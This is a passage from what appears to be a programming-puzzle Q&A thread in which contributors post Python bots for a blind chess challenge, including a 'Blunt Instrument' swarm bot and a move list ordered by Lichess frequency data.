[((x+1,3),(x,4)) for x in range(7)]) for m in captures: sendmove(m) sendmove(((7,3),(7,4))) captures = ([m for m in captures if not (7,3) in m] + [((7,0),(7,6))] + [((x,4),(x+1,5)) for x in range(7)] + [((x+1,4),(x,5)) for x in range(7)]) for m in captures: sendmove(m) sendmove(((7,4),(7,5))) captures = ([m for m in captures if not (7,4) in m] + [((x,5),(x+1,6)) for x in range(7)] + [((x+1,5),(x,6)) for x in range(7)]) for m in captures: sendmove(m) sendmove(((7,5),(7,6))) for m in long_safe_move((7,0), (0,1), 6): sendmove(m) captures = ([m for m in captures if not (7,5) in m and not (5,6) in m] + [((x,6),(x+1,7)) for x in range(7)] + [((x+1,6),(x,7)) for x in range(7)]) for m in captures: sendmove(m) sendmove(((5,2),(7,4))) sendmove(((7,4),(7,6))) captures = ([m for m in captures if not (7,4) in m] + [((6,4),(7,6))]) for m in captures: sendmove(m) sendmove(((7,6),(7,7))) captures = [m for m in captures if not (7,6) in m] for m in captures: sendmove(m) sendmove(((5,6),(6,5))) captures = [m for m in captures if not (5,6) in m] for m in captures: sendmove(m) sendmove(((6,5),(7,6))) sendmove(((7,6),(7,7))) for m in captures: sendmove(m) for m in long_safe_move((7,7), (-1,0), 7): sendmove(m) for m in captures: sendmove(m) for m in long_safe_move((7,6), (-1,0), 7): sendmove(m) for m in captures: sendmove(m) sendmove(((5,2),(3,0))) sendmove(((7,4),(3,0))) def zombiemarch(): colorder = list(range(8)) random.shuffle(colorder) roworder = [6,5,4,3,2,1] for col in colorder: for row in roworder: if col >= 1: yield ((col,row), (col-1,row+1)) if col >= 1: yield ((col,row), (col-1,row+1)) yield ((col,row), (col,row+1)) captures = list(zombiemarch()) for m in captures: sendmove(m) captures = [m for m in captures if not m[0][1] == 1] def jitter(tiles): fromset = set() for (a,b) in tiles: fromset.add(b) for (a,b) in fromset: if a>0: yield ((a,b), (a-1,b)) if a<7: yield ((a,b), (a+1,b)) if a>0: if b>0: yield ((a,b), (a-1,b-1)) if b<7: yield ((a,b), (a-1,b+1)) if a<7: if b>0: yield ((a,b), (a+1,b-1)) if b<7: yield ((a,b), (a+1,b+1)) if b>0: yield ((a,b), (a,b-1)) if b<7: yield ((a,b), (a,b+1)) kingescape = list(jitter({((4,0),(4,0))})) for m in captures: sendmove(m) for m in captures: sendmove(m) for m in kingescape: sendmove(m) kingescape = list(jitter(kingescape)) for m in captures: sendmove(m) for m in captures: sendmove(m) for m in kingescape: sendmove(m) kingescape = list(jitter(kingescape)) for m in captures: sendmove(m) for m in captures: sendmove(m) for m in kingescape: sendmove(m) kingescape = list(jitter(kingescape)) for m in captures: sendmove(m) for m in captures: sendmove(m) for m in kingescape: sendmove(m) for m in long_safe_move((7,7), (-1,0), 7): sendmove(m) for m in captures: sendmove(m) sendmove(((0,7),(2,5))) for i in range(2): for m in long_safe_move((0+3*i,6), (1,0), 3): sendmove(m) for m in long_safe_move((1+3*i,7), (1,0), 3): sendmove(m) for m in long_safe_move((2+3*i,5), (1,0), 3): sendmove(m) kingescape = list(jitter(kingescape)) for m in kingescape: sendmove(m) sendmove(((7,7),(6,6))) for m in long_safe_move((7,0), (0,1), 5): sendmove(m) for i in range(3): for m in long_safe_move((6-2*i,6), (0,-1), 2): sendmove(m) for m in long_safe_move((7-2*i,5), (0,-1), 2): sendmove(m) kingescape = list(jitter(kingescape)) for m in kingescape: sendmove(m) def allmovegroups(): # Knight moves for row in range(8): for col in range(8): for x in (1, 2, -2, -1): if x+col >= 0 and x+col <= 7: for y in (2/x, -2/x): if y+row >= 0 and y+row <= 7: yield [((col, row),(x+col, y+row))] else: # Move knights away from edges yield [((col, row),(int(math.copysign(x,4-col))+col, int(math.copysign(y,4-row))+row))] # Bishop moves for i in range(8): yield long_safe_move((0,i), (1,1), 7) yield long_safe_move((7,i), (-1,1), 7) yield long_safe_move((0,i), (1,-1), 7) yield long_safe_move((7,i), (-1,-1), 7) if i != 0: yield long_safe_move((i,0), (1,1), 7) yield long_safe_move((i,7), (1,-1), 7) if i != 7: yield long_safe_move((i,0), (-1,1), 7) yield long_safe_move((i,7), (-1,-1), 7) # Rook moves for i in range(8): yield long_safe_move((0,i), (1,0), 7) yield long_safe_move((7,i), (-1,0), 7) yield long_safe_move((i,0), (0,1), 7) yield long_safe_move((i,7), (0,-1), 7) movegrouplist = [a for a in allmovegroups()] random.shuffle(movegrouplist) def allmoves(): for movegroup in movegrouplist: for move in movegroup: yield move movelist = list(allmoves()) while True: for (a, b) in movelist: print coord2code(a), coord2code(b) ``` [Answer] # Blunt Instrument v2 There was a severe bug in the previous implementation that caused my bot to occasionally move pieces away from the enemy king. Given that the king is the most important piece, moving pieces away from him is obviously illogical. Now, any moves that lose too much ground are simply discarded. No retreat! No surrender! Moves that lose a bit of ground are also thinned out, so that Blunt Instrument will spend less time contemplating cowardly moves that retreat from the king and more time punching stuff. I've also switched from using Manhattan distance to Chebyshev, which I should really have used all along. Now, we measure distance as a number of kings' moves rather than rooks' moves. Granted, not every piece moves like the king, but I don't know what piece I'm moving so sod it. If my own king manages to punch a few pieces in the face while we play then so much the better. # Blunt Instrument Inspired by Tom Murphy VII PhD's [paper](http://tom7.org/chess/weak.pdf) on high-performance chess algorithms, I've adapted his "swarm" strategy to this format. Swarm favours moves that put pieces as close to the enemy king as possible, since the king is the most important piece. Since we don't actually know where the king is, we assume he stays where he is all game. Dodging is unsporting anyway. Stand still and take your punches, king! Because we don't know whether any move has succeeded, I'll likely start out by making a bunch of pawn moves just to get them into the field, then probably throw the bishops out into the mid field and suicide them against the opposing pawns. I could probably do something more intelligent to do a sensible opening or whatever, but doing intelligent things deviates from the "playing chess with your fists" theme of my approach. ``` #! /usr/bin/python import sys import random _, color, seed = sys.argv[:3] random.seed(seed) colnames = "abcdefgh" rownames = "12345678" if color == "w" else "87654321" ENEMY_KING = (4, 7) def coord2code((col, row)): return colnames[col] + rownames[row]; def buildmoves((col, row)): # Knight moves for x in (1, 2, -2, -1): if x+col >= 0 and x+col <= 7: for y in (2/x, -2/x): if y+row >= 0 and y+row <= 7: yield (x+col, y+row) # Bishop moves for x in range(1,8): if col+x <= 7: if row+x <= 7: yield (col+x, row+x) if row-x >= 0: yield (col+x, row-x) if col-x >= 0: if row+x <= 7: yield (col-x, row+x) if row-x >= 0: yield (col-x, row-x) # Rook moves for x in range(1,8): if col+x <= 7: yield (col+x, row) if col-x >= 0: yield (col-x, row) if row+x <= 7: yield (col, row+x) if row-x >= 0: yield (col, row-x) def distance_to_square(coords1, coords2): x1, y1 = coords1 x2, y2 = coords2 return max(abs(x2-x1), abs(y2-y1)) def sort_key(move): from_, to_ = move # Our favourite moves are ones that land us on top of the enemy king # After that, we like moves that make us closer to the enemy king # After that, we like moves that take us a long way from where we started # After that, we like moves that move pieces that are a long way from the enemy king # After that, we pick at random! gained_ground = distance_to_square(from_, ENEMY_KING) - distance_to_square(to_, ENEMY_KING) return (distance_to_square(to_, ENEMY_KING), -gained_ground, -distance_to_square(from_, to_), -distance_to_square(from_, ENEMY_KING), random.randint(0, 999999)) def cowardly_filter(move): from_, to_ = move # Remove all moves that move more than 2 spaces away from the enemy king # Eliminate moves that gain no ground with probability 12/16 # Eliminate moves that lose 1 space with probability 14/16 # Eliminate moves that lose 2 spaces with probability 15/16 # I pulled these numbers from my backside and don't know if they're actually good. gained_ground = distance_to_square(from_, ENEMY_KING) - distance_to_square(to_, ENEMY_KING) if gained_ground > 0: return True if gained_ground < -2: return False fudge_factor = random.randint(0, 16) # I tried to figure out a nice mathsy way of doing this but it's half past 8 and I want to play Dragon Age. if gained_ground == 0 and fudge_factor > 11: return True if gained_ground == -1 and fudge_factor > 13: return True if gained_ground == -2 and fudge_factor > 14: return True return False def gen_all_valid_moves(): for row in range(8): for col in range(8): for to in buildmoves((row, col)): yield ((row, col), to) movelist = list(gen_all_valid_moves()) movelist.sort(key=sort_key) # movelist = [(coord2code(a), coord2code(b)) for (a,b) in all_valid_moves] while True: for (a, b) in filter(cowardly_filter, movelist): print coord2code(a), coord2code(b) ``` Thank you Brilliand for letting me shamelessly steal almost all your code. [Answer] # Lichess 2013-2015 I gathered move frequency data from about 50 million lichess games. Moves are ordered from the most to the least frequent. Moves are considered equal if the from square and the to square are equal. Promotion is assumed to always be to queen. I've chosen lichess because I have a lot of them sitting on my hard drive. I don't expect it to do well, it has nothing that is particularily tuned towards this challenge, but I'm curious how it will do. ``` all_moves = ['g1 f3 q', 'e2 e4 q', 'g8 f6 q', 'd2 d4 q', 'b1 c3 q', 'e1 h1 q', 'b8 c6 q', 'e8 h8 q', 'e7 e6 q', 'd7 d5 q', 'd7 d6 q', 'e7 e5 q', 'g7 g6 q', 'h2 h3 q', 'c7 c6 q', 'c2 c3 q', 'h7 h6 q', 'a7 a6 q', 'c7 c5 q', 'c2 c4 q', 'f8 e7 q', 'g2 g3 q', 'a2 a3 q', 'd2 d3 q', 'e2 e3 q', 'f2 f4 q', 'f7 f6 q', 'b7 b6 q', 'e4 e5 q','f2 f3 q', 'f3 e5 q', 'b2 b3 q', 'b8 d7 q', 'f1 e1 q', 'f1 c4 q', 'b7 b5 q', 'f1 e2 q', 'f8 g7 q', 'e4 d5 q', 'c1 e3 q', 'f6 e4 q', 'b1 d2 q', 'c8 b7 q', 'f8 e8 q', 'c5 d4 q', 'f1 d3 q', 'c1 g5 q', 'f7 f5 q', 'b2 b4 q', 'c8 d7 q', 'd4 d5 q', 'c8 g4 q', 'f3 d4 q', 'd1 d2 q', 'c4 d5 q', 'e6 e5 q', 'd4 e5 q', 'e6 d5 q', 'c3 d5 q', 'a2 a4 q', 'g2 g4 q', 'f6 d5 q', 'c6 d4 q', 'd6 e5 q', 'e5 d4 q', 'd8 d7 q', 'c1 d2 q', 'd8 e7 q', 'd1 e2 q', 'a7 a5 q', 'h2 h4 q', 'f1 g2 q', 'c8 e6 q', 'a1 d1 q', 'd5 e4 q', 'c6 c5 q', 'f8 d6 q', 'a8 c8 q', 'c1 b2 q', 'd6 d5 q', 'e7 f6 q', 'g8 e7 q', 'c1 f4 q', 'h7 h5 q', 'c3 e4 q', 'e5 e4 q', 'c6 e5 q', 'd8 c7 q', 'g7 g5 q', 'd5 d4 q', 'a8 d8 q', 'g1 h1 q', 'a1 c1 q', 'f8 c5 q', 'g7 f6 q', 'b7 c6 q', 'f4 e5 q', 'g8 g7 q', 'd1 f3 q', 'h4 h5 q', 'f3 g5 q', 'e3 e4 q', 'c3 c4 q', 'f4 f5 q', 'g5 f6 q', 'b2 c3 q', 'c6 d5 q', 'e1 a1 q', 'e3 d4 q','b5 b4 q', 'd3 e4 q', 'g8 h8 q', 'd3 d4 q', 'g6 g5 q', 'g4 g5 q', 'a8 b8 q', 'e2 f3 q', 'f3 f4 q', 'g4 f3 q', 'c8 f5 q', 'f8 b4 q', 'g2 f3 q', 'f1 b5 q', 'f6 f5 q', 'h3 h4 q', 'g1 g2 q', 'e8 a8 q', 'g3 g4 q', 'c3 d4 q', 'a1 b1 q', 'c5 c4 q', 'c4 c5 q', 'd1 c2 q', 'h5 h4 q', 'd5 c4 q', 'a5 a4 q', 'g5 g4 q', 'd8 f6 q', 'b4 b5 q', 'h6 h5 q', 'a6 a5 q', 'f5 f4 q', 'f6 e5 q', 'a4 a5 q', 'f7 e6 q', 'g1 e2 q', 'd7 c6 q', 'e7 d6 q', 'f6 g4 q', 'd4 c5 q', 'f1 d1 q', 'b4 c3 q', 'f5 e4 q', 'e8 e7 q', 'b5 c6 q', 'd8 d5 q', 'f8 d8 q', 'b6 b5 q', 'a1 e1 q', 'd1 d3 q', 'd7 e5 q', 'f2 e3 q', 'e2 d3 q', 'c4 b3 q', 'g1 f1 q', 'h8 g8 q', 'e5 f4 q', 'd1 d4 q', 'e1 e2 q', 'a3 a4 q', 'g1 h2 q', 'f3 e4 q', 'e8 d8 q', 'g8 f8 q', 'g1 f2 q', 'b3 b4 q', 'a8 e8 q', 'd1 e1 q', 'd7 f6 q', 'e5 f6 q', 'f6 d7 q', 'd8 e8 q', 'g8 h7 q', 'd8 b6 q', 'g8 f7 q', 'c3 e2 q', 'e6 f5 q', 'e1 d1 q', 'h6 g5 q','d2 c3 q', 'h1 g1 q', 'g5 h4 q', 'd3 c4 q', 'e4 f5 q', 'f8 f7 q', 'd2 f3 q', 'g4 h5 q', 'g7 h6 q', 'c3 b5 q', 'f1 f2 q', 'h5 g6 q', 'e3 f4 q', 'f6 h5 q', 'd8 d6 q', 'h3 g4 q', 'c4 b5 q', 'g5 f4 q', 'd6 c5 q', 'd2 e4 q', 'e5 e6 q', 'b5 c4 q', 'e8 f8 q', 'f7 g6 q', 'd5 d6 q', 'g4 f5 q', 'c1 b1 q', 'c6 e7 q', 'h4 g3 q', 'f3 h4 q', 'd4 d3 q', 'e5 d6 q', 'h7 g6 q', 'f3 d2 q', 'c4 d3 q', 'd8 c8 q', 'e1 f1 q', 'g6 f5 q', 'c8 b8 q', 'a6 b5 q', 'd2 e3 q', 'f6 g5 q', 'd7 c5 q', 'h5 h6 q', 'g2 h3 q', 'd7 e6 q', 'f2 g3 q', 'c6 b4 q', 'f4 g5 q', 'b4 c5 q', 'e7 f5 q', 'e4 e3 q', 'd5 c6 q', 'f4 g3 q', 'f5 g6 q', 'd1 b3 q', 'h4 g5 q', 'f3 g4 q', 'g3 f4 q', 'c7 d6 q', 'd1 c1 q', 'h5 g4 q', 'h2 g3 q', 'd5 e6 q', 'd4 c3 q', 'e4 f3 q', 'c6 a5 q', 'c5 b6 q', 'a3 b4 q', 'c2 d3 q', 'e4 f6 q', 'd1 d8 q', 'd3 e2 q', 'e8 d7 q', 'f3 g3 q', 'h4 h3 q', 'e7 g6 q', 'd7 b6 q', 'd1 h5 q', 'f5 f6 q','b6 c5 q', 'a4 a3 q', 'f4 f3 q', 'b3 c4 q', 'a5 a6 q', 'c5 b4 q', 'e5 f3 q', 'a4 b5 q', 'd8 d1 q', 'e2 g3 q', 'f5 g4 q', 'e7 d7 q', 'g5 g6 q', 'e8 f7 q', 'd2 c4 q', 'd4 c6 q', 'd6 e7 q', 'g4 g3 q', 'c4 c3 q', 'c5 c6 q', 'a5 b4 q', 'f4 e3 q', 'd3 d2 q', 'c8 c7 q', 'd8 a5 q', 'e7 g5 q', 'e2 d2 q', 'c6 b5 q', 'd6 d7 q', 'f6 g6 q', 'b5 a4 q', 'c7 b6 q', 'c3 a4 q', 'f5 e6 q', 'e2 f4 q', 'b4 b3 q', 'f8 g8 q', 'c5 d6 q', 'c1 c2 q', 'd3 c2 q', 'c2 b3 q', 'f8 c8 q', 'd4 e3 q', 'f6 e7 q', 'a1 f1 q', 'e3 d2 q', 'b5 b6 q', 'e4 d3 q', 'c3 b4 q', 'd4 f3 q', 'e6 e7 q', 'e3 e2 q', 'f3 e2 q', 'f1 g1 q', 'a8 f8 q', 'a4 b3 q', 'd7 e7 q', 'h1 h2 q', 'b7 a6 q', 'f7 e7 q', 'd2 e2 q', 'e7 c5 q', 'h6 g7 q', 'd7 c7 q', 'e5 c6 q', 'c8 d8 q', 'h8 h7 q', 'g6 h5 q', 'e1 d2 q', 'd5 f6 q', 'e7 f7 q', 'c8 a6 q', 'd2 b3 q', 'f1 c1 q', 'f2 e2 q', 'c6 c7 q', 'f3 e3 q', 'd1 d5 q', 'g3 h4 q', 'f6 f7 q','b8 a6 q', 'a5 b6 q', 'd8 d4 q', 'e7 d5 q', 'c1 d1 q', 'c3 c2 q', 'b4 a5 q', 'e6 d7 q', 'f3 f2 q', 'e2 f2 q', 'd2 c2 q', 'a6 a7 q', 'a3 a2 q', 'h8 f8 q', 'g8 h6 q', 'e7 d8 q', 'e5 c4 q', 'a2 b3 q', 'g7 f8 q', 'b3 c2 q', 'h6 h7 q', 'g5 e7 q', 'f1 f3 q', 'e4 d6 q', 'b2 a3 q', 'd8 h4 q', 'e2 d4 q', 'e4 c3 q', 'f6 g7 q', 'g5 h6 q', 'e1 e3 q', 'b1 a3 q', 'd6 c7 q', 'f6 e6 q', 'e1 f2 q', 'e3 f2 q', 'd5 c3 q', 'e7 f8 q', 'h7 h8 q', 'e2 c4 q', 'h1 e1 q', 'c7 d7 q', 'f7 g7 q', 'e2 g4 q', 'd1 g4 q', 'e5 d3 q', 'd1 a4 q', 'h8 e8 q', 'b6 b7 q', 'e5 d7 q', 'b6 c7 q', 'd8 g5 q', 'g7 g8 q', 'g6 g7 q', 'h3 h2 q', 'e4 c5 q', 'g5 e3 q', 'b3 b2 q', 'e3 f3 q', 'h2 h1 q', 'e3 d3 q', 'd4 f5 q', 'e6 f7 q', 'd3 e3 q', 'b7 d5 q', 'f8 f6 q', 'c7 b7 q', 'a7 b6 q', 'c2 d2 q', 'd5 f4 q', 'g3 f3 q', 'g7 e5 q', 'd1 d7 q', 'a8 a7 q', 'd8 f8 q', 'd3 f5 q', 'g7 f7 q', 'e7 e8 q', 'g3 g2 q', 'c4 e6 q','e3 g5 q', 'e7 c6 q', 'f7 f8 q', 'h1 f1 q', 'e3 c5 q', 'd7 d8 q', 'e5 g4 q', 'd3 c3 q', 'f2 g2 q', 'e4 g5 q', 'd7 e8 q', 'e1 e4 q', 'g5 e6 q', 'e6 d6 q', 'd6 c6 q', 'd1 f1 q', 'g4 h3 q', 'd1 d6 q', 'g2 f1 q', 'b3 a4 q', 'e5 g6 q', 'g5 f3 q', 'd8 d2 q', 'e2 d1 q', 'e1 e8 q', 'h3 g2 q', 'b8 c8 q', 'e1 e5 q', 'e6 f6 q', 'c2 b2 q', 'g2 f2 q', 'b6 a5 q', 'e8 e6 q', 'a2 a1 q', 'g6 f6 q', 'f3 g2 q', 'e7 h4 q', 'a7 a8 q', 'b8 b7 q', 'a1 a2 q', 'b5 d7 q', 'g2 g1 q', 'd6 e6 q', 'f2 f1 q', 'e8 e1 q', 'e2 e1 q', 'b1 c1 q', 'c7 c8 q', 'g3 f2 q', 'd2 d1 q', 'd7 b5 q', 'f3 h2 q', 'g6 f7 q', 'b7 e4 q', 'd2 f4 q', 'd5 e7 q', 'd3 b5 q', 'e4 g3 q', 'f4 d6 q', 'e2 f1 q', 'g4 e3 q', 'd5 e3 q', 'e1 e7 q', 'b1 b2 q', 'b7 c8 q', 'd6 f4 q', 'c1 a3 q', 'g4 e6 q', 'h8 d8 q', 'e8 e5 q', 'f5 d3 q', 'c2 c1 q', 'c6 d7 q', 'e4 d2 q', 'd4 e6 q', 'g4 f6 q', 'h8 g7 q', 'c5 e3 q', 'e7 b4 q', 'h5 f4 q','e2 c3 q', 'g4 e2 q', 'h1 d1 q', 'd7 f5 q', 'c4 f7 q', 'd7 c8 q', 'h7 g7 q', 'd8 d3 q', 'e2 h5 q', 'g1 h3 q', 'd5 e5 q', 'd4 e2 q', 'c1 h6 q', 'c5 e4 q', 'g7 h7 q', 'h1 g2 q', 'b7 b8 q', 'h7 g8 q', 'd2 e1 q', 'h2 g2 q', 'e6 c4 q', 'b5 d6 q', 'f6 e8 q', 'g3 h3 q', 'b8 a8 q', 'b2 b1 q', 'f7 e8 q', 'c3 d2 q', 'h2 g1 q', 'g4 e5 q', 'f4 g4 q', 'e5 d5 q', 'e4 f4 q', 'e4 d4 q', 'e8 e2 q', 'd2 g5 q', 'c4 e5 q', 'd4 e4 q', 'b4 d2 q', 'e2 b5 q', 'c4 e2 q', 'h5 f3 q', 'g5 e4 q', 'd4 c4 q', 'f4 e4 q', 'e1 e6 q', 'd2 b4 q', 'b2 d4 q', 'e5 f5 q', 'a5 c4 q', 'e8 e4 q', 'f6 h7 q', 'b1 a1 q', 'd3 g6 q', 'h4 f5 q', 'g2 h2 q', 'g6 h6 q', 'f5 e5 q', 'f5 g5 q', 'g4 f4 q', 'e3 h6 q', 'b6 c4 q', 'd5 c5 q', 'g6 f4 q', 'g5 f7 q', 'd2 c1 q', 'c6 b6 q', 'f6 d4 q', 'g4 h4 q', 'f7 g8 q', 'b2 a2 q', 'c8 c2 q', 'c5 d3 q', 'h3 g3 q', 'd4 b5 q', 'g3 f5 q', 'b6 d5 q', 'b7 f3 q', 'b7 a7 q', 'b5 d3 q','h5 g5 q', 'c3 d3 q', 'g2 e4 q', 'd7 g4 q', 'b6 c6 q', 'c2 e4 q', 'g5 f5 q', 'c7 d8 q', 'e6 g4 q', 'c6 d6 q', 'c7 e5 q', 'b7 c7 q', 'g7 d4 q', 'c4 d6 q', 'f8 b8 q', 'g5 h5 q', 'd5 b6 q', 'h4 g4 q', 'c6 b7 q', 'c1 c7 q', 'h6 g6 q', 'b3 d5 q', 'f1 f4 q', 'c3 b2 q', 'b4 d3 q', 'b2 c1 q', 'b2 c2 q', 'c3 b3 q', 'e5 f7 q', 'a6 b7 q', 'b5 c3 q', 'f8 f5 q', 'f1 b1 q', 'c4 e3 q', 'd7 f8 q', 'h5 f6 q', 'd6 b4 q', 'f2 e1 q', 'f5 d4 q', 'g7 h8 q', 'c5 e7 q', 'f3 d5 q', 'd4 b3 q', 'b2 e5 q', 'd5 b4 q', 'b3 c3 q', 'g6 e5 q', 'a4 c5 q', 'f3 e1 q', 'd8 b8 q', 'd5 c7 q', 'b5 a6 q', 'b4 d6 q', 'h4 f6 q', 'e1 c1 q', 'f5 e3 q', 'b6 d4 q', 'd5 d8 q', 'd2 f1 q', 'b4 a3 q', 'c8 c6 q', 'c5 e6 q', 'd4 c2 q', 'g3 e4 q', 'b4 c6 q', 'b3 c5 q', 'g6 h7 q', 'c8 h3 q', 'd1 b1 q', 'c2 d1 q', 'h6 f5 q', 'c7 e7 q', 'h4 f3 q', 'e8 e3 q', 'c1 c3 q', 'c4 d4 q', 'g3 e5 q', 'd8 a8 q', 'f4 d5 q', 'b8 d8 q','c1 e1 q', 'c8 e8 q', 'c8 c1 q', 'c5 d5 q', 'e8 c8 q', 'b5 c7 q', 'f2 g1 q', 'g3 h2 q', 'a3 b2 q', 'c2 e2 q', 'c5 f2 q', 'b6 a6 q', 'b1 d1 q', 'b8 b2 q', 'c4 a2 q', 'c1 c8 q', 'c4 b4 q', 'f4 d3 q', 'd2 h6 q', 'd1 a1 q', 'c8 c3 q', 'f8 h6 q', 'a7 b7 q', 'c8 c4 q', 'f5 e7 q', 'f3 h5 q', 'c5 b5 q', 'd6 g3 q', 'f5 d6 q', 'c3 d1 q', 'd1 g1 q', 'b7 a8 q', 'f4 e6 q', 'c7 b8 q', 'a5 c7 q', 'd8 g8 q', 'b2 f6 q', 'f1 f7 q', 'd4 d1 q', 'g5 d2 q', 'b4 e7 q', 'a2 b2 q', 'e4 f2 q', 'g4 d7 q', 'd4 f6 q', 'b1 b7 q', 'b3 a3 q', 'b3 d4 q', 'c6 d8 q', 'a6 c5 q', 'f3 h3 q', 'a5 c6 q', 'd2 f2 q', 'f1 f8 q', 'g6 e4 q', 'f8 a8 q', 'h4 e7 q', 'f1 f5 q', 'f6 h4 q', 'c6 e4 q', 'g2 d5 q', 'g4 f2 q', 'e7 c7 q', 'c2 b1 q', 'a3 c4 q', 'f1 f6 q', 'h4 g6 q', 'f8 f4 q', 'e2 c2 q', 'g2 h1 q', 'f1 a1 q', 'd5 f3 q', 'b4 c2 q', 'f4 d2 q', 'f4 e2 q', 'e3 b6 q', 'c5 d7 q', 'f8 f1 q', 'd3 h7 q', 'd7 f7 q','a8 a6 q', 'd3 f3 q', 'h2 g4 q', 'b6 b2 q', 'd7 b7 q', 'b4 c4 q', 'b5 d4 q', 'h5 g3 q', 'c8 c5 q', 'c1 c6 q', 'a5 b5 q', 'e3 g3 q', 'f8 h8 q', 'b2 a1 q', 'b6 d7 q', 'b4 d5 q', 'a4 b4 q', 'b1 a2 q', 'f3 f6 q', 'b1 c2 q', 'b8 a7 q', 'b5 c5 q', 'd2 b2 q', 'b5 e2 q', 'f8 f2 q', 'a4 c2 q', 'f8 f3 q', 'a8 g8 q', 'a4 c3 q', 'd4 d2 q', 'a6 b6 q', 'e4 e2 q', 'b3 a2 q', 'e5 g3 q', 'e4 c6 q', 'b4 a4 q', 'e2 e5 q', 'b8 c7 q', 'b5 a5 q', 'g7 c3 q', 'd6 e4 q', 'f3 d3 q', 'c4 d2 q', 'f3 d1 q', 'h3 f4 q', 'c1 c5 q', 'a1 a3 q', 'c3 e5 q', 'h6 g4 q', 'f4 h6 q', 'f5 h4 q', 'd6 f5 q', 'a6 c4 q', 'f3 c6 q', 'a3 b3 q', 'd7 h3 q', 'a1 g1 q', 'f6 c3 q', 'h5 e2 q', 'd7 a4 q', 'f4 c7 q', 'e5 g7 q', 'f5 d7 q', 'd5 d7 q', 'd5 a5 q', 'd3 e5 q', 'e5 c3 q', 'f6 d8 q', 'a6 c7 q', 'd3 f4 q', 'd5 b7 q', 'c1 c4 q', 'e3 f5 q', 'g6 e7 q', 'e4 g6 q', 'b1 e1 q', 'f6 f3 q', 'h3 g5 q', 'b8 b6 q', 'f6 b2 q','f4 h5 q', 'f3 b7 q', 'e6 g6 q', 'b3 b7 q', 'c8 a8 q', 'g4 h6 q', 'd5 b3 q', 'h5 f7 q', 'f1 h1 q', 'h6 f4 q', 'f5 c2 q', 'a6 b4 q', 'e7 g7 q', 'e7 e4 q', 'g3 h5 q', 'e3 d5 q', 'e6 h3 q', 'c7 a7 q', 'f1 h3 q', 'a1 a7 q', 'g3 e2 q', 'f6 f4 q', 'f3 f5 q', 'c8 f8 q', 'e5 e7 q', 'f5 h6 q', 'd2 a5 q', 'b3 e6 q', 'f3 f7 q', 'b1 b3 q', 'b8 e8 q', 'e4 c2 q', 'b6 a7 q', 'c6 b8 q', 'h7 g5 q', 'e6 f4 q', 'f6 h6 q', 'a5 b3 q', 'c7 d5 q', 'd4 b2 q', 'c2 a2 q', 'c2 f5 q', 'd1 h1 q', 'a8 a1 q', 'd6 f6 q', 'a4 c6 q', 'h8 c8 q', 'g5 h3 q', 'a8 a2 q', 'g5 d8 q', 'd6 c4 q', 'c1 f1 q', 'a3 c2 q', 'a5 c3 q', 'a2 b1 q', 'e5 c7 q', 'd8 h8 q', 'f4 h3 q', 'e6 d4 q', 'a1 a8 q', 'b3 d2 q', 'e6 b3 q', 'd4 b6 q', 'c4 b6 q', 'd3 c5 q', 'f4 g6 q', 'c6 f3 q', 'd5 f7 q', 'b6 d8 q', 'e4 g4 q', 'e5 g5 q', 'c1 a1 q', 'f5 g3 q', 'c7 a5 q', 'e2 g2 q', 'd3 a6 q', 'c7 f4 q', 'd4 f2 q', 'd6 d8 q', 'h6 e3 q','h8 h6 q', 'a6 d3 q', 'a3 b5 q', 'c5 b3 q', 'e3 g4 q', 'e4 b7 q', 'h4 f2 q', 'c2 e3 q', 'e1 g1 q', 'c2 f2 q', 'b7 g2 q', 'a8 a5 q', 'c7 f7 q', 'c2 a4 q', 'e1 b1 q', 'e4 g2 q', 'g8 g6 q', 'g6 h4 q', 'h6 f7 q', 'a1 a4 q', 'c7 e6 q', 'a5 c5 q', 'b6 e3 q', 'c2 d4 q', 'b2 g7 q', 'e3 a7 q', 'd3 b1 q', 'f6 d6 q', 'h5 e5 q', 'd4 g7 q', 'a4 b6 q', 'd3 b3 q', 'c7 a8 q', 'f6 g8 q', 'd3 d1 q', 'a3 c5 q', 'g7 b2 q', 'e7 b7 q', 'e5 b2 q', 'd6 h2 q', 'd3 g3 q', 'a4 c4 q', 'd4 f4 q', 'h1 h3 q', 'e2 e6 q', 'g4 d1 q', 'c6 a7 q', 'd6 b6 q', 'e8 g8 q', 'f4 h4 q', 'd2 d5 q', 'd3 f1 q', 'e2 b2 q', 'e3 c4 q', 'b5 b7 q', 'b6 b4 q', 'a7 b8 q', 'g2 c6 q', 'b4 b2 q', 'd3 d5 q', 'c3 f6 q', 'e6 g5 q', 'c5 a7 q', 'h2 f3 q', 'e8 b8 q', 'h3 f5 q', 'a7 c7 q', 'c3 b1 q', 'a8 h8 q', 'h1 c1 q', 'g1 g3 q', 'f5 h3 q', 'b3 d1 q', 'e5 e3 q', 'e6 c5 q', 'f2 d2 q', 'e3 e5 q', 'd5 f5 q', 'g3 d6 q', 'f7 d7 q','e2 e7 q', 'c5 c7 q', 'd6 f8 q', 'f5 h5 q', 'g6 d3 q', 'c7 c4 q', 'e5 c5 q', 'e7 c8 q', 'e5 e2 q', 'h4 f4 q', 'e3 c3 q', 'd5 d3 q', 'h5 f5 q', 'h3 e6 q', 'd6 d4 q', 'c3 a2 q', 'b6 d6 q', 'a1 a6 q', 'f4 f6 q', 'b8 b4 q', 'b7 d7 q', 'e2 a6 q', 'g3 e3 q', 'e7 a3 q', 'f4 h2 q', 'd7 d4 q', 'h8 h5 q', 'c2 g6 q', 'c3 e3 q', 'a1 h1 q', 'd6 b7 q', 'a2 c2 q', 'g5 g3 q', 'e4 e6 q', 'd7 a7 q', 'c4 c2 q', 'b8 b5 q', 'e3 c1 q', 'c4 a5 q', 'g5 e5 q', 'e6 c6 q', 'a8 b7 q', 'g4 g6 q', 'a8 a3 q', 'c6 a6 q', 'c2 a1 q', 'a8 a4 q', 'g4 e4 q', 'e8 f6 q', 'e4 c4 q', 'd4 d6 q', 'f5 f3 q', 'e6 e8 q', 'a1 a5 q', 'f4 f2 q', 'c3 a3 q', 'c5 a4 q', 'd6 f7 q', 'h7 f6 q', 'b1 f1 q', 'f5 f7 q', 'b8 f8 q', 'e1 g3 q', 'f7 e5 q', 'b3 d3 q', 'f1 g3 q', 'f2 d4 q', 'h6 f8 q', 'c6 e6 q', 'e7 e2 q', 'c4 b2 q', 'a3 d6 q', 'b3 b5 q', 'h5 h7 q', 'f6 f2 q', 'c5 b7 q', 'e3 e1 q', 'h4 e4 q', 'b2 d2 q', 'e6 a2 q','g2 b7 q', 'd2 a2 q', 'f8 g6 q', 'c4 a6 q', 'b1 b4 q', 'd5 g2 q', 'e6 f8 q', 'd4 b4 q', 'g6 